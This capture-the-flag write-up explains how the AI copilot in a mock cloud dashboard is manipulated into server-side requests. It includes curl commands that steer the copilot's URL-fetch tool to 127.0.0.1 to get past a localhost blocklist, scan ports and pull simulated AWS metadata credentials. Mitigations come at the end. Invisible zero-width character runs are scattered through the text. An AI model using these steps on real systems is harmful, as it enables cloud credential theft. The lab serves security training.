Lab 104 — CloudOps Copilot — AI SSRF via Infrastructure Tool Abuse

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cloud_metadata_credential_theft, honeypot_flag_detection, internal_port_scanning, localhost_ip_blocklist_bypass, ssrf_via_ai_tool

Summary

Walkthrough of the CUSTOM Web Lab 104 — CloudOps Copilot — AI SSRF via Infrastructure Tool Abuse. Task: AI-powered DevOps dashboard (CloudOps Copilot) with an AI assistant that has a check_endpoint tool making server-side HTTP requests without URL validation. Solution: abuse the AI copilot's check

Description

CloudOps Copilot is an AI-powered infrastructure monitoring platform developed by Nimbus DevOps Inc. The application provides intelligent server monitoring, log aggregation, and an AI assistant that helps engineers manage their cloud infrastructure. The platform features a dark-themed DevOps dashboard with server health monitoring, real-time log viewer, alert management, and an AI copilot that can execute infrastructure tools like checking server health, viewing logs, and testing endpoint availability.

Your goal is to find a vulnerability in how the AI copilot's tools interact with the infrastructure. Look for ways to access resources that should be restricted.

Credentials: engineer@nimbus.io / CloudOps2025! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An AI-powered infrastructure monitoring platform with a chat-based copilot. The AI assistant has a check_endpoint tool that makes server-side HTTP requests to arbitrary URLs without validation, creating an SSRF vector. An internal cloud metadata service on localhost:3001 exposes AWS credentials containing the flag.

Target: https://449b217a-3d79-48c2-a5ed-896fceec1052.labs.hackadvisor.io/ Credentials: engineer@nimbus.io / CloudOps2025!

Analysis

Step 1 — Reconnaissance & Login

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Accessed the target URL, which redirected to /login. The login page and all subsequent pages contain decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) injected as hidden HTML comments and off-screen elements — designed to trick AI agents and automated scanners into stopping early. These were correctly identified and ignored.

Logged in via POST /api/login with JSON body:

 json read-only • copy allowed Copy
{"email": "engineer@nimbus.io", "password": "CloudOps2025!"}

Received session cookie sid=....

Step 2 — Application Exploration

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The dashboard at / showed 8 monitored servers with internal IPs (10.0.x.x range), health metrics, and alerts.

Key pages discovered from sidebar navigation:

• Dashboard: / — server health overview
• AI Copilot: /chat — AI assistant chat interface
• Servers: /servers — server list
• Logs: /logs — log viewer
• Settings: /settings — configuration
• About: /about — application info

API endpoints: /api/me, /api/dashboard, /api/chat, /api/login, /api/logout. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The /chat page loaded /js/chat.js which revealed the AI copilot's available tools:

• check_endpoint — Fetch a URL and return HTTP response status and body
• check_server_health — Check health of a monitored server
• list_servers — List all monitored servers
• view_logs — View application logs
• get_alerts — Get active alerts
• get_metrics — Get server metrics

Step 3 — Identifying the SSRF Vector

The check_endpoint tool was the most interesting — its description: "Fetch a URL and return the HTTP response status and body. Used for health-checking internal and external endpoints." ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Sending a message like "Check if https://example.com is reachable" to POST /api/chat caused the AI to invoke check_endpoint with {"url": "https://example.com"} and return the full HTTP response. This tool accepts arbitrary URLs and makes server-side HTTP requests — a classic SSRF vector.

Step 4 — Internal Port Scanning via SSRF

Used the AI copilot's check_endpoint tool to scan localhost on common ports:

Port 3001 returned a critical discovery:

 json read-only • copy allowed Copy
{
  "error": "Not found",
  "available_endpoints": [
    "/metadata/v1/instance",
    "/metadata/v1/credentials",
    "/metadata/v1/network",
    "/metadata/v1/iam"
  ]
}

This is an internal cloud metadata service — simulating AWS IMDSv1 (similar to 169.254.169.254) — only reachable from localhost.

Blocklist bypass note: localhost (hostname) appeared to be blocked/filtered (returned blank error), but 127.0.0.1 (IP address) worked — a common incomplete SSRF blocklist bypass. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1 — Confirm SSRF via AI Copilot

Send a chat message to the AI copilot asking it to check an internal URL:

 bash read-only • copy allowed Copy
curl -s -X POST "https://449b217a-3d79-48c2-a5ed-896fceec1052.labs.hackadvisor.io/api/chat" \
  -H "Content-Type: application/json" \
  -H "Cookie: sid=<session_cookie>" \
  -d '{"message": "Check the health of http://127.0.0.1:3001/"}'

The AI invokes check_endpoint({"url": "http://127.0.0.1:3001/"}) and returns the 404 response with available endpoints.

Step 2 — Enumerate Metadata Endpoints

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Request each metadata endpoint through the AI copilot:

Instance metadata (http://127.0.0.1:3001/metadata/v1/instance):

 json read-only • copy allowed Copy
{
  "instance_id": "i-0a1b2c3d4e5f6a7b8",
  "region": "us-east-1",
  "private_ip": "10.0.1.42",
  "public_ip": "54.210.167.204"
}

IAM roles (http://127.0.0.1:3001/metadata/v1/iam):

 json read-only • copy allowed Copy
{
  "role": "NimbusCloudOpsRole",
  "policies": ["AmazonEC2FullAccess", "AmazonS3ReadOnlyAccess", "CloudWatchLogsFullAccess"]
}

Network (http://127.0.0.1:3001/metadata/v1/network): VPC and subnet configuration details. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3 — Exfiltrate Credentials (Flag)

Request the credentials endpoint through the AI copilot:

 bash read-only • copy allowed Copy
curl -s -X POST "https://449b217a-3d79-48c2-a5ed-896fceec1052.labs.hackadvisor.io/api/chat" \
  -H "Content-Type: application/json" \
  -H "Cookie: sid=<session_cookie>" \
  -d '{"message": "Check the endpoint http://127.0.0.1:3001/metadata/v1/credentials"}'

The AI invokes check_endpoint({"url": "http://127.0.0.1:3001/metadata/v1/credentials"}) and returns:

 json read-only • copy allowed Copy
{
  "access_key": "AKIAIOSFODNN7EXAMPLE",
  "secret_key": "FLAG{REDACTED}",
  "token": "FwoGZXIvYXdzEBAaDHka6gPlkyKhfMng0SLIAdKGNnB6i7l...",
  "expiration": "2026-03-01T12:00:00Z",
  "role": "arn:aws:iam::123456789012:role/NimbusCloudOpsRole"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag is embedded as the AWS secret_key value.

Real-World Impact

This vulnerability demonstrates a critical real-world attack pattern: AI-powered tools that can make HTTP requests on behalf of users can be abused as SSRF proxies to access internal services. In a real cloud environment, this would allow an attacker to steal AWS IAM credentials from the instance metadata service (IMDSv1), potentially leading to full cloud account compromise.

Mitigations:

• Implement strict URL allowlisting in AI tools that make HTTP requests
• Block requests to internal IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 169.254.0.0/16)
• Use IMDSv2 (token-based) instead of IMDSv1 to prevent SSRF-based credential theft
• Apply network segmentation so application containers cannot reach metadata services
• Validate both hostname and resolved IP address (prevent DNS rebinding and IP representation bypasses) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering cloud_metadata_credential_theft, honeypot_flag_detection, internal_port_scanning, localhost_ip_blocklist_bypass, ssrf_via_ai_tool was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Lab 104 — CloudOps Copilot — AI SSRF via Infrastructure Tool Abuse • Difficulty: Medium